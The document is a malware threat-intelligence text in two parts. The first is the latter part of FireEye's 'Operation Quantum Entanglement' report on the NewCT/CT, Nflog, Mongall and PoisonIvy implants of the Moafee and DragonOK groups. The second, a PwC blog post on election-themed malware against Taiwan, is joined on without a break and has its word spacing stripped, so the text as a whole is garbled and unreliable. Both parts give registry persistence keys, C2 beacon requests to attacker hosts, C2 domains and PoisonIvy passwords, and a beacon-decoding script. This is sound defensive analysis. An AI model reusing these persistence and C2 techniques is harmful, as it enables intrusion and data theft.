The contents of Windows.reg is populated based on the Operating System (OS) which is determined by a call to the GetVersionEx API.
If dwBuildNumber is equal to 2 (VER_ PLATFORM_WIN32_NT) and dwMajorVersion is less than 6 (prior to Windows Vista) it adds following entry for persistence: [HKEY_CLASSES_ROOT\CLSID\fbeb8a05- beee-4442-804e-409d6c4515e9\ InProcServer32] Temp\MSSoap.
DLL Otherwise it creates a copy of itself to Temp\ WmiPrvSer.exe and creates the following entry for persistence: HKCU \Software\Microsoft\Windows\ CurrentVersion\Run\dllhost Temp\WmiPrvSer.exe Figure 8: DLL implant embedded in resource section with a fake BMP header Figure 9: DLL implant embedded in resource section with a fake BMP header BOOL WINAPI GetVersionEx( _Inout_  LPOSVERSIONINFO lpVersionInfo ) typedef struct _OSVERSIONINFO DWORD dwOSVersionInfoSize DWORD dwMajorVersion DWORD dwMinorVersion DWORD dwBuildNumber DWORD dwPlatformId TCHAR szCSDVersion[128] OSVERSIONINFO 11  www.fireeye.com FireEye:  Operation Quantum Entanglement We also found some clues in the binary that indicate that the tool was authored and built by someone using Chinese fonts on their computer.
It contains resource strings in English but the language is set to Chinese as shown below.
Implant The implant (example: ccff6e0a6f5e7715bdaf62adf0cbed4f) is called NewCT/CT RAT.
The particular version we analyzed was NewCT version 2.
The implant has persistence mechanisms and contains functionality to perform command and control communication.
This backdoor also has functionality to load additional plugins from the command and control server.
It exports the following two functions: SendData CreateInstance It creates a mutex HFRM_ to ensure there is only one running copy of the backdoor.
It ensures this by checking if the return value from CreateMutexA is 183 (\xB7), which corresponds to ERROR_ALREADY_EXISTS9.
The payload emits the POST network beacon shown below along with stub data.
The header values are hardcoded in the payload, specifically the values for User-Agent, Cache-Control and the bytes at offset 0 of the stub (\xcf\xcf) may be of interest to network defenders.
Figure 10: Embedded string table in resource section with language set to Chinese Figure 11: Mutex usage and checks to ensure one running copy STRINGTABLE LANGUAGE LANG_CHINESE, 0x2  103,    NewCT2 106,    Hello World 109,    NEWCT2  9 http://msdn.microsoft.com/en-us/library/windows/desktop/ms68138228vvs.8529.aspx 12  www.fireeye.com FireEye:  Operation Quantum Entanglement POST / HTTP/1.1 Accept-Language: en-en Content-Type: application/octet- stream Pragma: no-cache Cache-Control: max-age259200 Connection: Close Content-Length: 1594 User-Agent: Mozilla/4.0 (compatible MSIE 6.0Windows NT 5.1) Host: http.jpaols[.
]com\x0d\x0a\ x0d\x0a\xcf\xcf...
The POST stub contains encrypted data.
The encrypted data has two layers of abstraction.
It is subjected to a bitwise NOT operation followed by encryption using a randomly generated 4-byte XOR key.
The data within the POST stub is constructed in a buffer with a header at offset 0 (\ x30\x30) followed by the remote sever, remote port, XOR encrypted data and function call location.
The function call location is represented by the textual values shown in the table below and is selected using a switch case statement as shown in Figure 12.
It is used by the attacker to track the call path that resulted in the network beacon.
The XOR encrypted data contains the MAC Address, hostname and campaign code.
Numeric Representation Textual Representation 0 index.asp 1 index.php 2 index.jsp 3 index.css 4 home.asp Figure 12: Call path determined and embedded in network beacon 13  www.fireeye.com FireEye:  Operation Quantum Entanglement Figure 13: Encrypted POST stub Figure 14: POST stub after bitwise NOT operation Figure 15: Embedded XOR encrypted data in POST stub To elucidate the encryption scheme, let us go over a sample decryption process.
The Figures 13 and 14 below shows data before and after a bitwise NOT operation.
In the resulting data after NOT operation, the XOR key is \x30\x30\x34\x31.
When applied to the hex data following it, we get the decrypted data below, which contains the MAC Address, hostname, and campaign code.
The Python routine to perform this decryption is included in Appendix A We observed plugin functionality in the implant.
It has the ability to load a DLL downloaded from the remote server, and calls the following export functions in the DLL: Plugin_GetID Plugin_Init Plugins_Start Plugin_End 14  www.fireeye.com FireEye:  Operation Quantum Entanglement Figure 16: DLL Plugin functionality allowing additional payloads to be loaded from the server The call graph for this functionality is shown in Figure 16.
NewCT RAT evolved from older versions called CT, which has been observed being used in association with the Nflog Backdoor.
The following password-protected document (46ac122183c32858581e95ef40bd31b3) creates a DLL implant called IntelAMTPP.dll (ebd1f5e471774bb283de44e121efa3e5), which is the CT RAT.
In this case, the CT implant is 10 MB in size, as it has padded null bytes at the end of the file to increase file size in a possible attempt to evade AV engines as described in the previous section on evasion techniques.
The CT implant has identical functionality to NewCT, as observed from the embedded strings.
00005A58  Connection:close 00005A6C  Cache-Control: max- age259200 00005A8C  Pragma: no-cache 00005AA0  Mozilla/4.0 (compatible MSIE 6.0Windows NT 5.1) 00005AD4  Content-Type: application/ octet-stream 00005AFC  image/gif, image/x-xbitmap, image/jpeg, image/ pjpeg, / 00005B38  Accept-Language: en-en 00005B50  s02x 00005B5C  home.asp 00005B68  index.css 00005B74  index.jsp 00005B80  index.php 00005B8C  index.asp 00005EFC  ct.datangcun.com 00005F3C  ct.datangcun.com 00005F7C  20120509 00005F8C  CT V2.1 00006374  Plugin_End 00006380  Plugin_Start 00006390  Plugin_Init 0000639C  Plugin_GetID This version was called CT V2.1 by the author, which may indicate that there were other earlier versions of this RAT and that it was improved upon incrementally.
One of the command and control servers used by a variant of this implant is aptly named ct.datangcun[.
]com.
We do not believe either Moafee or DragonOK have controlled the domain ct.datangcun[.]
com, but it was probably controlled by a third group which also used the implant in a separate campaign.
The network beacon for version 2.1 is shown below it uses the same encryption scheme as NewCT: 15  www.fireeye.com FireEye:  Operation Quantum Entanglement POST / HTTP/1.1 Accept-Language: en-en Content-Type: application/oc- tet-stream Pragma: no-cache Cache-Control: max-age259200 Content-Length: 1572 User-Agent: Mozilla/4.0 (compati- ble MSIE 6.0Windows NT 5.1) Host: ct.datangcun[.
]com:1353\x0d\ x0a\x0d\x0a\xcf\xcf We also observed both attack groups using campaign codes within this implant and which are listed in Appendix B.
The campaign codes re- ferred to victim countries, attack dates, command and control infrastructure, and other operational codes  which remain undeciphered.
Nflog We have observed DragonOK and Moafee use the Nflog implant in addition to an earlier version of the NewCT2 implant.
The pass- word-protected XLS document (46ac- 122183c32858581e95ef40bd31b3) ref- erenced earlier also drops an Nflog implant (a3d3b0686e7bd13293ad0e63ebec67af) in addition to ..
The Nflog implant emits the following network beacon format: POST /NfLog/Nfile.asp HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (compati- ble MSIE 7.0Windows NT 5.1) Host: Content-Length: 0 Cache-Control: no-cache POST /NfLog/NfStart.asp?Clien- tIdLocalIP2049d020Ex- ternalIPNickIdentifierd- timeT:8-6-0-53 HTTP/1.1 Accept: / Use-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.0 .NET CLR 1.1.4322) Host: Content-Length: 36 Cache-Control: no-cache Cookie: ASPSESSIONIDACCARCDDOKNPG- CKDLEKEHBOHIHLCOMHD We have observed the use of a newer variant of Nflog (example: 3eab5e12f99b47e822721e- 93639ba1d1) being employed in attacks, which has the beacon format shown below: POST /windowsxp/SNews.asp?HostID- MAC Address HTTP/1.1 Accept: / Cache-Control: no-cache User-Agent: Mozilla/4.0 (compati- ble MSIE 6.0 Windows NT 5.0 .NET CLR 1.1.4322) Host: Content-Length: 126 Connection: Close Cookie: ASPSESSIONIDAARSSTTBECD- DKIAAOHGODEKKFGOKNJCD Other URI formats it uses are as follows: /windowsxp/SSports.asp?HostID /windowsxp/SWeather.asp?HostID /windowsxp/SJobs.asp?HostID /windowsxp/STravel.asp?HostID /windowsxp/NfHostInfo.asp?NickId /windowsxp/SGames.asp?HostID Note the same User-Agent Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.0 .NET CLR 1.1.4322) is used by both 16  www.fireeye.com FireEye:  Operation Quantum Entanglement the older and newer version of Nflog samples.
We also found code-level similarities in the network communication function code, as well as the data collection function code shown in Figure 17.
This strongly suggests that it is an updated version of the Nflog backdoor.
Figure 17: Identical data collection function seen in both older and newer Nflog variants 17  www.fireeye.com FireEye:  Operation Quantum Entanglement Sysget/HelloBridge This tool has recently been analyzed by Secure- works 10.
We observed the DragonOK attacker employ this tool against targets in Japan and Taiwan (e.g.
57e3d002542e07f2eb09fd2b1b0ee- ab2), as also noted by Secureworks.
We have not yet seen the Moafee group use this tool.
This implant has the following beacon format: GET /el/sregister.php?name[REDACTED] HTTP/1.1 User-Agent: Mozilla/5.0 (compatible MSIE 10.0 Windows NT 6.1 Trident/6.0) Host: 122.10.62.137 Connection: Keep-Alive Other URI formats include: /el/slogin.php?uid /el/suploadfile.php?item /el/suploadfile.php Mongall FireEye has previously analyzed this backdoor11, which is used by multiple other groups in addition to DragonOK and Moafee.
DragonOK in partic- ular is known to frequently use this implant (e.g.
e8d77d19e1c6f462f4a5bf6fbe673a3c), which has the following network beacon format: GET /3000FC080000[REDACTED 00000000 0000000000000000000000000000000000 0000000000000000000000000000000000 0000000000000000000000000000000000 00100000[REDACTED]0000000000000000 000000000000000000000000000000000 0 0000000000000000[REDACTED]000000 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 7.0 Windows NT 6.1 WOW64 Trident/6.0 SLCC2 .NET CLR 2.0.50727 .NET CLR 3.5.30729 .NET CLR 3.0.30729 Media Center PC 6.0) Host: mail.jpaols[.
]com:443 Cache-Control: no-cache PoisonIvy This is a publicly available RAT used by multiple threat actors, which has been extensively analyzed in a previous FireEye white paper12.
The ex- tracted configuration blocks from a DragonOK PoisonIvy variant (65fcc9b9ff608801edc- 697552438cfee), is shown below: ID: ftp Domains: ftp.skydnastwm.com:15836 Password: Ecp982Me2 Mutex: fftp In contrast, here is an extracted PoisonIvy configuration block from a Moafee instance (9ebe86a648b1f19836251f946a160b16), as shown below: ID: Domains: afp.mozjlla.com Password: 741526 Mutex: )afpA.I4 Threat Actor Attribution Campaign 1: Moafee We have observed the Moafee group target the governments and militaries of countries with national interests in the South China Sea.
We have also observed this group target companies within the US defense industrial base.
As discussed, we have observed the Moafee group use a number of different tools including Poison Ivy, Nflog, Mongall, and NewCT2.
We found this group running HTRAN on one of their front-end command and control servers.
The command and control server in question was 10 http://www.secureworks.com/resources/blog/research/hellobridge-trojan-uses-heartbleed-news-to-lure-victims/ 11 http://www.fireeye.com/blog/technical/malware-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of- malaysian-flight-mh-370.html 12 http://www.fireeye.com/resources/pdfs/fireeye-poison-ivy-report.pdf 13 http://en.wikipedia.org/wiki/South_China_SeaResources 14 http://www.ifri.org/downloads/ifricanonopedseamanecs.pdf 15 http://www.eia.gov/countries/regions-topics.cfm?fipsscs 18  www.fireeye.com FireEye:  Operation Quantum Entanglement located at 58.64.201.229.
We monitored this server for two months, from January to March this year.
During this time period, we observed the following domains resolving to 58.64.201.229: ph.moafee[.
]com afp.mozjlla[.
]com mofa.mozjlla[.
]com acer.moafee[.
]com del.moafee[.
]com jnt.moafee[.
]com pcg.moafee[.
]com sslc.moafee[.
]com at.moafee[.
]com lw.moafee[.
]com ks.moafee[.
]com oa.moafee[.
]com xxpp.moafee[.
]com hp.moafee[.
]com gumm.mozjlla[.
]com msn.moafee[.
]com During this same time frame, the HTRAN client at 58.64.201.229 was observed attempting to connect to a number of different backend HTRAN servers.
All of these HTRAN servers were located in the Guangdong Province and operated by CHINANET.
Additionally, the Moafee group also hosted a PoisonIvy command and control server at phi.
crabdance[.
]com.
Between April 30, 2012 DATE CNC HTRAN Backend HTRAN Backend Geolocation 2014-03-15 58.64.201.229 169.254.163.19 LINK LOCAL 2014-03-02 58.64.201.229 113.65.22.148 CHINANET GUANGDONG PROVINCE NETWORK 2014-02-22 58.64.201.229 169.254.61.191 LINK LOCAL 2014-02-18 58.64.201.229 113.68.111.111 CHINANET GUANGDONG PROVINCE NETWORK 2014-02-15 58.64.201.229 113.68.108.62 CHINANET GUANGDONG PROVINCE NETWORK 2014-02-12 58.64.201.229 113.68.168.73 CHINANET GUANGDONG PROVINCE NETWORK 2014-02-02 58.64.201.229 169.254.92.25 LINK LOCAL 2014-01-30 58.64.201.229 113.65.43.42 CHINANET GUANGDONG PROVINCE NETWORK 2014-01-27 58.64.201.229 113.66.12.112 CHINANET GUANGDONG PROVINCE NETWORK 2014-01-25 58.64.201.229 113.65.41.28 CHINANET GUANGDONG PROVINCE NETWORK 2014-01-20 58.64.201.229 113.68.171.67 CHINANET GUANGDONG PROVINCE NETWORK 2014-01-15 58.64.201.229 113.68.110.239 CHINANET GUANGDONG PROVINCE NETWORK 13 http://www.fireeye.com/blog/technical/malware-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of- malaysian-flight-mh-370.html 12 http://www.fireeye.com/resources/pdfs/fireeye-poison-ivy-report.pdf 19  www.fireeye.com FireEye:  Operation Quantum Entanglement and July 1, 2012, the phi.crabance[.
]com domain resolved to 98.126.91.66.
This IP was observed hosting a HTRAN proxy client, which was seen connecting to a backend HTRAN server hosted at 113.66.248.60.
This server was also located in the Guangdong Province and operated by CHINANET.
In short, the Moafee group was observed consistently hosting their backend HTRAN servers in Guangdong.
This observation may reveal that the Moafee group is physically located in this province.
Campaign 2: DragonOK We have observed the DragonOK group target high-technology and manufacturing companies in both Japan and Taiwan.
This group has used similar malware to the Moafee group described above.
Specifically, we observed DragonOK employing PoisonIvy, 2013-10-04.
The following other domains were seen resolving to this same IP: The DragonOK group was observed hosting their backend HTRAN servers in Jiangsu.
This observation may reveal that the DragonOK group is physically located in the Jiangsu province.
Nflog, Mongall, CT, and NewCT.
Like the Moafee group, we observed the DragonOK group running an HTRAN proxy client on one of their front-end command and control servers.
For approximately one week, between July 31, 2013 and August 8, 2013, the domain www.ndbssh[.
]com served as a command and control server for Mongall payloads distributed by the DragonOK group.
During this time, DragonOK also ran an HTRAN proxy client on www.ndbssh[.
]com.
This HTRAN client was seen attempting to connect to three different HTRAN servers located in the Jiangsu province and operated by CHINANET.
The domain www.ndbssh[.
]com resolved to 206.161.216.219 between 2013-09-28 and DATE CNC HTRAN Backend HTRAN Backend Geolocation 2013-08-05 www.ndbssh.com 58.217.168.205 CHINANET JIANGSU PROVINCE NETWORK 2013-08-04 www.ndbssh.com 222.95.171.178 CHINANET JIANGSU PROVINCE NETWORK 2013-07-31 www.ndbssh.com 58.217.169.95 CHINANET JIANGSU PROVINCE NETWORK DATE CNC Domain 2013-08-20 www.ghostale[.
]com 2013-09-06 www.ycbackap[.
]com 2013-12-20 asp.skyppee[.
]com 2013-12-20 facebook.skyppee[.
]com 2013-12-20 pop.skyppee[.
]com 2013-12-20 mail.skyppee[.
]com 2013-12-20 mil.skyppee[.
]com 2013-12-20 web.pktmedia[.
]com 2013-12-20 bbs.pktmedia[.
]com 20  www.fireeye.com FireEye:  Operation Quantum Entanglement 21 http://technet.microsoft.com/en-us/library/hh849687.aspx 22 http://technet.microsoft.com/en-us/library/hh847739.aspx Conclusion Based on the geolocation evidence provided in this paper, it appears that different operators executed the Moafee and DragonOK campaigns.
This conclusion is supported by the following assessments: The campaigns target different industries in different geographic locations.
The Moafee campaign targets government and military organizations in countries with national interests in the South China Sea.
In contrast, the DragonOK campaign has been observed targeting high-technology and manufacturing companies in Japan and Taiwan.
The campaigns maintain separate back-end command and control infrastructures hosted in different provinces in Mainland China.
The Moafee campaign can be traced to infrastructure located in the Guangdong province, whereas the DragonOK campaign can be traced to infrastructure located in the Jiangsu province.
While it seems that different operators are responsible for these two campaigns, our research showed that these operators share a number of common tools, techniques and procedures (TTPs).
We also believe a separate third group is using these TTPs but we do not have sufficient insight to this operator at this time.
The shared TTPs include: Usage of the same custom backdoors and RATs such as CT/NewCT/NewCT2, Mongall, Nflog, as well as off-the-shelf RATs such as PoisonIvy, to maintain access to the victims networks.
Usage of HTRAN to proxy their command and control communication.
Usage of the same evasion techniques to evade detection such as environment checks based on CPU cores, password protected documents, and the use of large null padded files.
We assess that these shared TTPs may be the result of: A direct relationship between the operators.
An indirect relationship such as the completion of a common training regimen.
A common quartermaster or supply-chain for their malware tools.
Acknowledgements: We would like to thank Ronghwa Chong, Nart Villeneuve, Darien Kindlund, Kenneth Gears and Jonathan Wrolstad for their insight, research and support.
21  www.fireeye.com FireEye:  Operation Quantum Entanglement Appendix A: Python Routine to Decode NewCT and CT Beacons def dexor(data,key): buffer keylen  len(key) for i in range(0,len(data)): buffer  chr(ord(data[i])  ord(key[i  keylen])) return buffer def decrypt(data): inverted for byte in data: try: inverted  chr(ord(byte)  0xFF) except: continue beacon  \\x  \\x.join(0:x.format(ord(c)) for c in inverted[0:4]) end_marker  index end  inverted.find(end_marker,0)  len(end_marker)  4 values  inverted[:end].split(/) if len(values)  7: return 0 key  values[1] data1  binascii.unhexlify(values[3].replace(,)) data2  binascii.unhexlify(values[5].replace(,)) c2_end  values[0].find(\x00) - 1 c2  values[0][4:c2_end] return beacon    c2    dexor(data1,key) dexor(data2,key)    values[6] 22  www.fireeye.com FireEye:  Operation Quantum Entanglement Appendix B: Campaign codes embedded in NewCT/CT First stage payload Version Implant Implant Name C2 Server Campaign code 46e55cdf507ef10b 11d74dad6af8b94e NewCT2 81998ee8b8f8304d 038e3cb5ff10b4d2 MSSoap.
DLL http.jpaols[.]
com hc_NewCT 989d04ab23385260 a402ce7b6751e60e NewCT2 81998ee8b8f8304d 038e3cb5ff10b4d2 MSSoap.
DLL facebook.
pktmedia[.
]com facebook.
skyppee[.
]com face_NewCT 6de67d5bfe61fbdc 2febfd289e9660c3 NewCT2 81998ee8b8f8304d 038e3cb5ff10b4d2 MSSoap.
DLL http.jpaols[.]
com jp80_NewCT 908d847fd39a2851 85b3f0e8dc874dad NewCT2 81998ee8b8f8304d 038e3cb5ff10b4d2 MSSoap.
DLL sslc.moafee[.]
com sslc_NewCT 26a48ee15b8f976d b35e219428e05ef3 NewCT2 81998ee8b8f8304d 038e3cb5ff10b4d2 MSSoap.
DLL http.jpaols[.]
com jp80_NewCT bd5ed9168632e6da a6bcee6b6c48d60f NewCT2 81998ee8b8f8304d 038e3cb5ff10b4d2 BurnDCSrv.
DLL butitistrun.
blogdns[.
]com lcl918_NewCT 46ac122183c32858 581e95ef40bd31b3 CT V2.1 81998ee8b8f8304d 038e3cb5ff10b4d2 IntelAMTPP.
dll ct.datangcun[.]
com 20120509_CT V2.1 23  www.fireeye.com FireEye:  Operation Quantum Entanglement Appendix C: Moafee and DragonOK Clusters FireEye:  Operation Quantum Entanglement FireEye, Inc.    1440 McCarthy Blvd.
Milpitas, CA 95035    408.321.6300    877.FIREEYE (347.3393)    infofireeye.com    www.fireeye.com 2014  FireEye, Inc. All rights reserved.
FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners.
WP.OQE.EN-US.072014 About FireEye, Inc. FireEye has invented a purpose-built, virtual machine-based security platform that provides real-time threat protection to enterprises and governments worldwide against the next generation of cyber attacks.
These highly sophisticated cyber attacks easily circumvent traditional signature-based defenses, such as next-generation firewalls, IPS, anti-virus, and gateways.
The FireEye Threat Prevention Platform provides real-time, dynamic threat protection without the use of signatures to protect an organization across the primary threat vectors and across the different stages of an attack life cycle.
The core of the FireEye platform is a virtual execution engine, complemented by dynamic threat intelligence, to identify and block cyber attacks in real time.
FireEye has over 1,900 customers across more than 60 countries, including over 130 of the Fortune 500.
4/3/2016 Taiwan Presidential Election: A Case Study on Thematic Targeting - Cyber security updates Cybersecurityupdates KeepingCISOsandCIOsconfidentaboutcybersecurityrelatedissuesincludingthreatdetection,dataprotection,breach readiness,securityarchitecture,digitalsolutionsandnetworksecuritymonitoring.
TaiwanPresidentialElection:ACaseStudyonThematicTargeting 17March2016 ByMichaelYip michael_yip ExecutiveSummary InJanuary2016,TsaiIngwenwaselectedasthefirstfemalepresidentofTaiwan.
Priortotheelection,itwasreportedthattheelectionwasgoingto bethetargetofaseriesofattacksbyChinesethreatactors.
[1]Lookingbackonthemalwareobservedfromdifferentgroupsoverthatperiodoftime, wehavebeenabletopiecetogetherevidencewhichsuggeststhatseveraldistinctthreatactorslaunchedattacksusingtheTaiwanpresidentialelection asaspearphishingtheme.
Thisblogpostprovidesanoverviewofthemalwareandthenetworkinfrastructureassociatedwiththethreatactorswho havetakenadvantageofthisevent.
EvilGrab ThefirstsamplewecameacrossusingtheTaiwanelectionthemewasanExcelspreadsheetnamed2016 20160105.xls(393dafa8bd5e30334d2cbf23677e1d2e).Oncethespreadsheetisexecuted,afilecalled6EC5.tmpisdroppedinthe tempfolder.
Thefileisinfactanexecutablebinarywhich,onceexecuted,spawnsactfmon.exeprocessandclonesitselfinthe userprofiledirectoryasafilecalledIEChecker.exe(fb498e6a994d6d53b80c53a05fc2da36).
Figure1:ctfmon.exeprocesscreatesasetofregistrykeysanddropsIEChecker.exeinuserprofile.
http://pwc.blogs.com/cyber_security_updates/ https://uk.linkedin.com/in/michaelyiphw https://twitter.com/michael_yip http://pwc.blogs.com/.a/6a00d83451623c69e201bb08ca1dc4970d-pi 4/3/2016 Taiwan Presidential Election: A Case Study on Thematic Targeting - Cyber security updates Figure2:RegistryvaluescontainingencodedmodulesusedbytheEvilgrabmalware.
AsidefromcreatingIEChecker.exe,themaliciousctfmonprocessalsocreatesasetofregistrykeysatthefollowingpathswhichcontain encodeddata.
TheseareinfactmodulesusedbythemalwareandthisbehaviorshowsthatthemalwareanalysedisanEvilGrabsample[2]: HKCU\Software\rar\e HKCU\Software\rar\s HKCU\Software\rar\data HKCU\Software\rar\ActiveSettings HKCU\Software\Classes\VirtualStore\MACHINE\Software\rar\e ThemalwareestablishespersistencebysettinganAutorunkeycalledctfmontoensureIEChecker.exeisexecutedonstartup.
Figure3:AnAutoRunkeyissetbythectfmonprocesstoensureIEChecker.exeisexecutedonstartup.
Themalwarealsobeaconstothecommandandcontrol(C2)192.225.226[.
]98onport8080bysendingTCPSYNpacketsapproximately every30seconds.
DynCalc/NumberedPanda/APT12 Thesecondsamplewecameacrosswasanexecutablenamed.exe (791931e779a1af6d2e1370e952451aea)whichtranslatestoPostpresidentialdebate:supportforpeoplespoliticalpartieschanges.
The samplewassubmittedtoVirusTotalbyauserinTaiwanon11thJanuary2016,fivedaysbeforethepresidentialelection.
Figure4:MalwarewassubmittedtoVirustotalon11thJanuary2016byauserinTaiwan.
ThebinaryusesthestandardMicrosoftWordicon,shownbelow,totrickusersintothinkingthefileisalegitimateMicrosoftWordDocument.
http://pwc.blogs.com/.a/6a00d83451623c69e201bb08ca1dd4970d-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b7c825b884970b-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b7c825b88e970b-pi 4/3/2016 Taiwan Presidential Election: A Case Study on Thematic Targeting - Cyber security updates Figure5:ThemaliciousbinarywithaWordicon.
Onexecution,thebinarycreatesafilecalledka4281x3.loginthesamedirectoryastheoriginalbinarythisfilecontainsencodeddata.
The namingconventionofthisfilehasbeenreportedasdistinctivetotheIXESHE[3]andtherelatedEtumbot[4]malwarefamily,anditisbasedonthe behavioralsimilaritywithotherEtumbotsamples(e.g.2b3a8734a57604e98e6c996f94776086)thatwebelievethisattackisassociatedwith APT12.
Asidefromthe.logfile,adecoydocumentisalsocreatedanddisplayedtothevictimasshownbelow.
Researchonthecontentofthedecoy documentshowsthatthecontentislikelytohavebeentakenfromapresentationwith thesametitle,,originallywrittenbyTaiwanThinkTank.
[5]Thefigurebelowshowsthesamecontent fromthepresentationbeingusedinthedecoydocument.
Thelackofformattinginthedecoydocumentsuggeststhattheattackersimplycopiedand pastedthecontentfromthePDFtocreateanewWorddocument.
Thesimilarityofthecontentisasshownbelow: Figure6:TheoriginalpresentationfromtheTaiwanThinktank[6]titledwithaslideshowingthe resultsfromthelatestopinionpoll(left)andthedecoydocumentdroppedbytheIXESHE/Etumbotsample(right).
Themalwarethendropsabinarycalledvecome.exeintoAppdata\Roaming\LocationandinstallsanAutorunkeytoensurethedropped binaryisexecutedonstartup.
Figure7:AnAutorunkeyisinstalledtoensurevecome.exeisexecutedonstartup.
SimilartootherIXESHE/Etumbotsamples,themalwaredropssixtemporaryfilesinthetempfolder: http://pwc.blogs.com/.a/6a00d83451623c69e201bb08ca1e24970d-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b8d1b0027e970c-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b7c825b8cc970b-pi 4/3/2016 Taiwan Presidential Election: A Case Study on Thematic Targeting - Cyber security updates Figure8: SixtemporaryfilescreatedbytheIXESHE/Etumbotsample.
ThemalwarecommunicateswiththeC2201.21.94[.
]135onport443overSSL.TheSSLcertificateusedisassociatedwiththeemailaddress examgoogle.com[7]andhastheserial008bbea3a0a91b1c78.
Figure9:SSL certificationisassociatedwiththeemailaddressexamgoogle.com.
SunOrcalandSurtr ThelastsamplewehaveidentifiedusingtheTaiwanelectionthemewasamaliciousMicrosoftWorddocumentnamed2016 .doc(09ddd70517cb48a46d9f93644b29c72f).Thecontentofthisfilecontainstwoblanksquares(Figure10)however,onceaself extractingarchive(SFX)isdropped,aseparatedecoydocumentisdisplayedwhichcontainsonelineoftextthatmentionsthepresidentialelection.
http://pwc.blogs.com/.a/6a00d83451623c69e201b7c825b8d4970b-pi http://pwc.blogs.com/.a/6a00d83451623c69e201bb08ca1eb4970d-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b7c825b954970b-pi 4/3/2016 Taiwan Presidential Election: A Case Study on Thematic Targeting - Cyber security updates Figure10:Themaliciousdocumentusedtodropaselfextractingarchiveintemp(top)andthesubsequentdecoydocumentdisplayedto thevictim(bottom).
However,thesentenceisnonsensicalanditreadsasiftheattackersimplyconcatenatedafewunrelatedlinestogether.
Interestingly,asearchforthe sentencesrevealedthatithadbeenusedasthetitleofaspearphishingemailsenttoanumberofpoliticiansandactivistsinHongKongincluding JamesTo[8],TommyCheung[9]andJoshuaWong.
[10]WongisawellknownstudentactivistinHongKongandhepubliclyannouncedon Facebookon6thJanuary2016thathehadreceivedthespearphishingemailbutwasnottrickedintoopeningthe.rarattachment(Figure11),which sharesthesamefilenameasthedocumentfilereferencedinFigure10.
Figure11:AwellknownstudentactivistinHongKongclaimedtohavereceivedaspearphishingemailwithanattachmentnamed2016 http://pwc.blogs.com/.a/6a00d83451623c69e201bb08ca21cd970d-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b7c825bc69970b-pi 4/3/2016 Taiwan Presidential Election: A Case Study on Thematic Targeting - Cyber security updates .rar.
Theemailtitleisidenticaltothelineshowninthedecoydocumentdroppedbytheanalysedsample.
ExaminingtheEXIFdataofthedecoydocumentdroppedbyoursampleshowsthatthedocumentwascreatedonthesamedayasthespearphishing emailwassent.
Figure12:EXIFdataofthedecoydocumenthighlightthesimilarityintimingoftheattack.
Givensimilaritiesinthethemeandtextusedinthespearphish,aswellasthetimingofthecampaignagainsttheHongKongactivistandthecreation timeofthedecoydocument,webelievebothattacksarelikelytobethesame.
Returningtotheanalysisofoursample,oncetheluredocumentisexecuted,aselfextractingarchiveisdroppedandexecuted.
Thearchivecontains threefiles,abatchscript,acopyofthewgetbinaryandafurtherbinarycallediuso.exe.
Figure13:Thedroppedselfextractingarchive.
Onceexecuted,thebinariesaredroppedintheprogramdatadirectoryandthebatchscriptisexecutedtodownloadthesecondstagemalware fromacompromisedhostkcico[.
]com.
Figure14:Batchscriptusedtodownloadthemalwarefromacompromisedwebsite.
Thedownloadedbinarywthk.exeisthenexecutedandtwonewnesteddirectoriesaregeneratedinprogramdata:Javameandsun orcal.
Basedontheuseofthisuniquefoldernamesunorcalwhichdatesbacktoasearlyas2013[11]andwhichappearstobeamisspelling ofSunOracle,werefertothismalwareasSunOrcal.
Belowarethefullnestedpaths: C:\ProgramData\Javame\Java\Jre\helper\113507 C:\ProgramData\sunorcal\java\JavaUpdata C:\ProgramData\sunorcal\java\SunJavaUpdata Oncewthk.exeisexecuted,itclonesitselfto\sunorcal\java\SunJavaUpdataasafilecalledSunJavaUpdata.exe.
Inaddition,a shortcutcalledSunJavaUpdataData.lnkiscreatedintheJavamefolderwhichpointstothemalwareSunJavaUpdata.exe.
Thepurposeofthisshortcutbecameclearwhenweexaminedthechangesmadetotheregistry.
Themalwaremodifiesthestartupkeyat HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserShellFolder\topointtothe \Javame\Java\Jre\helper\113507directory,causingExplorertoexecutetheshortcutwhenitfirstloadsandwhichineffectensuresthe malwareisexecutedonstartup.
http://pwc.blogs.com/.a/6a00d83451623c69e201bb08ca220a970d-pi http://pwc.blogs.com/.a/6a00d83451623c69e201bb08ca2216970d-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b7c825bca7970b-pi 4/3/2016 Taiwan Presidential Election: A Case Study on Thematic Targeting - Cyber security updates Figure15: SunOrcalpersistencemechanism.
Asshowninthebatchscript,oncewthk.exehasfinishedexecuting,iuso.exeisthenexecuted.
Examiningthecodeofthisbinaryshowsthat thesolepurposeofthisbinaryistosleepforoneminuteandthenexecuteabinaryinprogramdatacalledKeyainst.exe.
Unfortunately,we wereunabletoretrievethisbinary.
ExaminingthenetworktrafficgeneratedbySunJavaUpdata.exe,wefindthatthemalwarecommunicateswiththeC2domain safety.securitycenters[.]comwhichresolvedtotheIPaddress210.61.12[.
]153at thetimeofwriting.
AccordingtoDomainTools[12],thedomainsecuritycenters[.
]comisassociatedwithtwoemailaddresses: Registrantemail:an_ardyth123mail.org Admin/techemail:janmillerdomaingooglemail.com Interestingly,themalwarestorestheC2intheregistrykeyatHKCU\Software\Google\info: Figure 16:C2informationandcampaigncodestoredinregistry.
Thefigurealsoshowswhatappearstobeacampaigncodewthkdoc0106withwthkbeingthemalwarename,docbeingthetypeof documentusedformalwaredeliveryand0106denoting6thJanuarywhichisthedateoftheattack,asshowninFigure11andFigure12.
